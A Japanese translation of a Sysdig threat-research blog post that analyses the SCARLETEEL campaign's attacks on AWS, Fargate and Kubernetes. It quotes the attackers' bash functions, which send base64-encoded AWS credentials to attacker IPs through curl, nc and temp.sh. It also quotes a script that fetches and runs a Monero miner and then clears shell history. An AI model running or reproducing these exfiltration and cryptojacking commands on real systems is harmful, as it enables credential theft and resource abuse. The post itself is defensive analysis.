SCARLETEEL 2.0: Fargate、Kubernetesと Crypto

本文の内容は、2023年7月11日にALESSANDRO BRUCATO が投稿したブログ（https://sysdig.com/blog/scarleteel-2-0/）を元に日本語に翻訳・再構成した内容となっております。

SCARLETEEL は、昨年 2 月に Sysdig 脅威リサーチチーム によって報告された活動で、引き続き繁栄し、戦術を改善し、データを盗んでいます。クラウド環境は依然として彼らの主要なターゲットですが、使用されるツールやテクニックは、より弾力的でステルス性の高いコマンド・アンド・コントロール・アーキテクチャーとともに、新しいセキュリティ対策を回避するために適応しています。AWSのFargateは、侵入される環境としてはより洗練されていますが、新しい攻撃ツールによってその環境内で活動できるようになったため、標的にもなっています。

彼らの最新の活動において、我々は前回のブログで報告されたものと同様の戦略を見ました：脆弱なコンピュートサービスを悪用することでAWSアカウントを侵害し、永続性を獲得し、クリプトマイナーを使用してお金を稼ごうとします。私たちが彼らの攻撃を阻止していなければ、彼らのマイニングは停止するまで1日あたり4,000ドル以上のコストがかかっていただろうと控えめに見積もっています。

以前SCARLETEELを監視した経験から、彼らはクリプトマイニングだけでなく、知的財産も盗んでいることがわかっています。最近の攻撃では、AWSポリシーの顧客のミスを発見し、それを悪用することで、AdministratorAccessに特権を昇格させ、アカウントをコントロールすることを可能にしました。また、攻撃の規模を大幅に拡大するために、Kubernetesを標的とすることも確認されました。

オペレーショナルアップデート

前回の記事で報告した攻撃と比較して、どのように進化したかを強調しながら、主な攻撃について説明します。強化された点は以下の通りです：

• スクリプトはFargateがホストするコンテナ内にいることを認識し、認証情報を収集する。
• 被害者のAWSアカウントで管理者にエスカレーションし、マイナーを実行するEC2インスタンスを立ち上げる。
• 攻撃能力と防御回避テクニックを拡大するために、ツールやテクニックが改良されている。
• トークンを取得し、それを使用してAWS認証情報を取得するためにIMDSv2の悪用を試みた。
• データの送受信に使用されるパブリックサービスを利用するなど、C2ドメインを複数回変更。
• AWSをさらに悪用するために、悪用されたコンテナ上でAWS CLIとpacuを使用。
• Kubernetesをさらに悪用するためにpeiratesを使用。

動機

AWSクレデンシャル

KubernetesクラスターにデプロイされたいくつかのJupyterLabノートブックコンテナを悪用した後、SCARLETEELの操作は複数のタイプの攻撃で進められました。これらの攻撃の主な目的の1つは、被害者のAWS環境をさらに悪用するためにAWS認証情報を盗むことでした。

この行為者は、認証情報を盗むスクリプトの複数のバージョンを活用し、さまざまなテクニックと流出エンドポイントを採用していました。これらのスクリプトの1つの古いバージョンは、こちらのGitHubに投稿されています。そのスクリプトに埋め込まれたC2ドメイン、45[.]9[.]148[.]221は、以前の記事で報告したようにSCARLETEELに属していることは注目に値します。

これらのスクリプトは、インスタンスのメタデータ（IMDSv1とIMDSv2の両方）、ファイルシステム、ターゲットマシンに作成されたDockerコンテナ（たとえ実行されていなくても）に接触することで、さまざまな場所でAWSの認証情報を検索します。

持ち出しの機能を見ると、Base64エンコードされた盗まれた認証情報をC2 IPアドレスに送信していることがわかります。興味深いことに、これを達成するためにcurlの代わりにshell built-insを使用しています。これは、多くのツールが特に監視しているcurlとwgetが使用されていないため、よりステルス的にデータを流出させる方法です。

send_aws_data(){
cat $CSOF
SEND_B64_DATA=$(cat $CSOF | base64 -w 0)
rm -f $CSOF
dload http://45.9.148.221/in/in.php?base64=$SEND_B64_DATA > /dev/null
}Code language: PHP (php)

Sysdig 脅威リサーチチームは、VirusTotalに掲載されている複数の類似スクリプトを分析しました：

• https://www.virustotal.com/gui/file/99e70e041dad90226186f39f9bc347115750c276a35bfd659beb23c047d1df6e
• https://www.virustotal.com/gui/file/00a6b7157c98125c6efd7681023449060a66cdb7792b3793512cd368856ac705
• https://www.virustotal.com/gui/file/57ddc709bcfe3ade1dd390571622e98ca0f49306344d2a3f7ac89b77d70b7320
• https://www.virustotal.com/gui/file/3769e828f39126eb8f18139740622ab12672feefaae4a355c3179136a09548a0

これらのスクリプトでは、前の関数は異なる流出エンドポイントを持っています。例えば、以下の関数は、175[.]102[.]182[.]6、5[.]39[.]93[.]71:9999に認証情報を送信し、temp.shにもアップロードします：

send_aws_data(){
find /tmp/ -type f -empty -delete

SEND_B64_DATA=$(cat $CSOF | base64 -w 0)
curl -sLk -o /dev/null http://175.102.182.6/.bin/in.php?base64=$SEND_B64_DATA

SEND_AWS_DATA_NC=$(cat $CSOF | nc 5.39.93.71 9999)
SEND_AWS_DATA_CURL=$(curl --upload-file $CSOF https://temp.sh)
echo $SEND_AWS_DATA_NC
echo ""
echo $SEND_AWS_DATA_CURL
echo ""
rm -f $CSOF
}Code language: PHP (php)

これらのIPアドレスを見ると、175[.]102[.]182[.]6が攻撃者のものであり、5[.]39[.]93[.]71:9999がtermbin[.]comのIPアドレスであることがわかります。このサイトは主に攻撃中にデータを流出させるために使用されます。そのIPから送信されるレスポンスは、STDOUT以外のどこにも送信されないため（https://temp[.]sh/からのレスポンスなど）、これらの攻撃は完全に自動化されていないか、スクリプトの出力に基づいてアクションを実行していたことを示唆しています。攻撃者は、端末内の一意のURLを読み取り、そこにアクセスして認証情報を取得します。

スクリプトのバージョンによっては、以下に示すように、IMDSv2を悪用してノードの役割の認証情報を取得しようとします。IMDSv2はメタデータエンドポイントのセキュリティ問題の解決策としてよく提案されますが、それでも攻撃者に悪用される可能性はあります。IMDSv2は余分なステップを必要とし、その有効性は設定に大きく依存します。

具体的には、最初の呼び出しはセッショントークンを取得するために使用され、その後、AWS認証情報を取得するために使用されます。しかし、この試みは、ターゲットマシンがEC2インスタンス内のコンテナであり、デフォルトのホップ制限が1に設定されていたために失敗しました。AWSのドキュメントによると、「コンテナ環境では、ホップ制限が1の場合、コンテナへの移動が追加のネットワークホップとみなされるため、IMDSv2レスポンスは返されません。Amazonはコンテナでのホップ制限を2に設定することを推奨しており、これは多くのコンテナ環境で成功することを示唆しています。

IMDSv1を使用していたコンテナにおいて、攻撃者はAWSの認証情報を盗むことに成功しました。次に、悪用したコンテナにAWS CLIバイナリとPacuをインストールし、取得したキーで設定します。攻撃者はPacuを使用して、被害者のAWSアカウントにおける特権昇格の発見と悪用を容易にしました。

攻撃者はAWSクライアントを使用して、S3プロトコルと互換性のあるロシアのシステムに接続していることが確認されています。以下のコマンドは、彼らが “configure “コマンドでロシアのS3環境のキーを設定し、そのバケットにアクセスしようとしたことを示しています。

 “--endpoint-url” オプションを使用することで、彼らはAPIリクエストをデフォルトのAWSサービスエンドポイントではなく、ロシアのS3互換オブジェクトストレージであるmcs[.]mail[.]ru/storageにリダイレクトするhb[.]bizmrg[.]comに送信した。これらのリクエストはmcs[.]mail[.]ruサイトで発生したため、被害者のCloudTrailには記録されませんでした。このテクニックにより、攻撃者はAWSクライアントを使用してツールをダウンロードし、データを流出させることができます。AWSクライアントは一般的にクラウドシステムにインストールされているため、これは “Living off of the Land “攻撃のバリエーションです。

Kubernetes

AWSの認証情報を盗む以外にも、SCARLETEELのアクターはKubernetesを標的とした攻撃も行っていました。特に、彼らはKubernetesをさらに悪用するためのツールであるpeiratesも活用していました。以下のスクリーンショットで呼び出された「get secrets」、「get pods」、「get namespaces」APIは、peiratesの実行の一部です。これは、攻撃者が攻撃チェーンの中でKubernetesを認識しており、その環境を悪用しようとしていることを示しています。

DDoS-as-a-Service

攻撃者がクラウド環境を指すAWS CLIを使用した同じ攻撃において、彼らはMiraiボットネットに属するマルウェアであるPandoraもダウンロードして実行しました。Miraiマルウェアは主にインターネットに接続されたIoTデバイスを標的としており、2016年以降、多くの大規模なDDoS攻撃を引き起こしています。この攻撃は、攻撃者がDDoS機能を金銭で提供するDDoS-as-a-Serviceキャンペーンの一環である可能性が高いです。この場合、Pandoraマルウェアに感染したマシンは、攻撃者が使用するボットネットのノードとなり、一部のクライアントによって選ばれた被害者を標的とすることになります。

エクスプロイト後

特権エスカレーション

インスタンスメタデータ経由でノードロールのAWSキーを収集した後、SCARLETEELアクターは被害者のAWS環境で自動偵察を開始しました。EC2インスタンスの実行に何度か失敗した後、彼らはすべての管理者ユーザーのアクセスキーを作成しようとしました。被害者は、「adminJane」、「adminJohn」などのように、すべての管理者アカウントに特定の命名規則を使用していました。そのうちの1つのアカウントは、「AdminJoe」のように「Admin」を大文字の「A」で表し、うっかり命名規則と異なる名前を付けてしまっていました。その結果、攻撃者によって以下のポリシーがバイパスされました：

このポリシーは、攻撃者がユーザー名に “admin “を含むすべてのユーザーのアクセスキーを作成することを防ぎます。そのため、攻撃者は「AdminJoe」ユーザのアクセスキーを作成することで、そのユーザへのアクセス権を獲得することに成功しました。

一旦攻撃者が管理者アクセス権を獲得すると、彼らの最初の目的は永続性を獲得することでした。新しい管理者権限を使用して、攻撃者は新しいユーザーを作成し、管理者を含むアカウント内の全ユーザーのために新しいアクセスキーのセットを作成しました。作成されたユーザーの 1 つは「aws_support」という名前で、偵察を行うためにこのユーザーに切り替えられました。

クリプトジャッキング

次の目的は、金銭的な動機によるものでした。管理者アクセス権を使って、攻撃者は侵害したアカウントで以下のスクリプトを実行し、c5.metal/r5a.4xlargeのインスタンスを42個作成した：

#!/bin/bash
ulimit -n 65535 ; export LC_ALL=C.UTF-8 ; export LANG=C.UTF-8
export PATH=$PATH:/var/bin:/bin:/sbin:/usr/sbin:/usr/bin
yum install -y bash curl;yum install -y docker;yum install -y openssh-server
apt update --fix-missing;apt install -y curl;apt install -y bash;apt install -y wget
apk update;apk add bash;apk add curl;apk add wget;apk add docker
if ! type docker; then curl -sLk $SRC/cmd/set/docker.sh | bash ; fi
export HOME=/root
curl -Lk http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 43Lfq18TycJHVR3AMews5C9f6SEfenZoQMcrsEeFXZTWcFW9jW7VeCySDm1L9n4d2JEoHjcDpWZFq6QzqN4QGHYZVaALj3U
history -cw
clearCode language: JavaScript (javascript)

マイナーを実行する過剰な数のインスタンスを生成するノイズが発生したため、攻撃者はすぐに捕まりました。 攻撃者が捕らえられ、管理者アカウントへのアクセスが制限されると、作成された他の新しいアカウントまたは侵害されたアカウントを使用して、Secret Manager からシークレットを盗んだり、新しいインスタンスを実行するための SSH キーを更新したりすることで、同じ目的を達成し始めました。 攻撃者は権限がないため続行できませんでした。

アーティファクト解析

script .a.shの解析

ダウンロード元: 175[.]102[.]182[.]6/.bin/.g/.a.sh

VirusTotal analysis: https://www.virustotal.com/gui/file/57ddc709bcfe3ade1dd390571622e98ca0f49306344d2a3f7ac89b77d70b7320

curl、netcat、AWS CLIをインストールした後、AWSのメタデータからEC2インスタンスの詳細を取得しようとします。攻撃者はIMDSv2を悪用してトークンを取得し、それを使用してAWS認証情報を取得しようとしました。

その後、スクリプトはnetcatとcurlの両方で認証情報を送信し、この実行の証拠を削除します。

しかし、IMDSのバージョンが不適切だったため、この実行は成功せずに終了しました。

そのため、攻撃者はすぐに別のスクリプトを実行しました。

script .a.i.shの解析

ダウンロード元：175[.]102[.]182[.]6/.bin/.a.i.sh

このスクリプトは、Githubで公開されているスクリプトとほぼ同じです。

現在のIPtablesルールの削除を開始し、それらを完全に許可するようにファイアウォールを設定します：

次に、EC2インスタンスのセキュリティ認証情報を取得するためにget_aws_data()関数を起動します。このタスクを達成するために、さまざまなメタデータエンドポイントが使用されますが、別のIPアドレスも探します： 169[.]254[.]170[.]2. このIPアドレスは、AWS Fargateを含むタスクで使用されるため、このスクリプトはAWS Fargateでホストされているコンテナでも実行できます。

これらの認証情報を取得するために、スクリプトは、curl や wget のような、より一般的なツールに基づく検出メカニズムを回避する目的で、shell built-ins を利用するこの bash 関数を使用します。

get_aws_data()関数はまた、ターゲットマシン内のすべてのDockerコンテナ（それらが実行されていなくても）とファイルシステム内の認証情報を検索します：

取得したすべてのキーと認証情報をランダムなファイル名に書き込んだ後、スクリプトはsend_aws_data()を呼び出してそれらを流出させます：

最後に、スクリプトはnotraces()bash関数を呼び出して攻撃の証拠を削除します：

script setup_c3pool_miner.shの解析

Downloaded from: c9b9-2001-9e8-8aa-f500-ce88-25db-3ce0-e7da[.]ngrok-free[.]app/setup_c3pool_miner.sh

VirusTotal analysis: https://www.virustotal.com/gui/file/2c2a4a8832a039726f23de8a9f6019a0d0f9f2e4dfe67f0d20a696e0aebc9a8f

SCARLETEELに属するウォレットアドレスでマイナーを実行します：

また、このスクリプトはstatic-curlをインストールしたAlpine Dockerイメージを実行します。その後、以前のc3poolマイナーを削除し、可能性のあるxmrigプロセスを強制終了した後、xmrigの “advanced version” をダウンロードします：

上記のように、マイナーは /root/.configure/ に展開されます。マイナーバイナリの名前はcontainerdで、これが実行されます。containerd.logから、これがマイナーに関する情報です：

Moneroマイナーは、防御回避技術としてcontainerdとsystemdサービスの名前を使用してバックグラウンドで実行されます：

まとめ

SCARLETEELのアクターは、AWSやKubernetesを含むクラウドのターゲットに対して活動を続けています。前回のレポート以来、彼らは複数の新しいツールと新しいC2インフラストラクチャーを含むツールキットを強化し、検出をより困難にしています。彼らが好む侵入方法は、オープンなコンピュート・サービスと脆弱なアプリケーションの悪用です。クリプトマイニングによる金銭的な利益に引き続き焦点が当てられていますが、前回のレポートで見たように、知的財産は依然として優先事項となっています。

SCARLETEELのような脅威に対する防御には、複数の防御層が必要です。ランタイムの脅威検知とレスポンスは、攻撃がいつ発生したかを理解するために不可欠ですが、脆弱性管理、CSPM、CIEMのようなツールがあれば、これらの攻撃を防ぐことができます。これらのレイヤーのどれかが欠けていれば、組織は重大な財務的リスクにさらされることになります。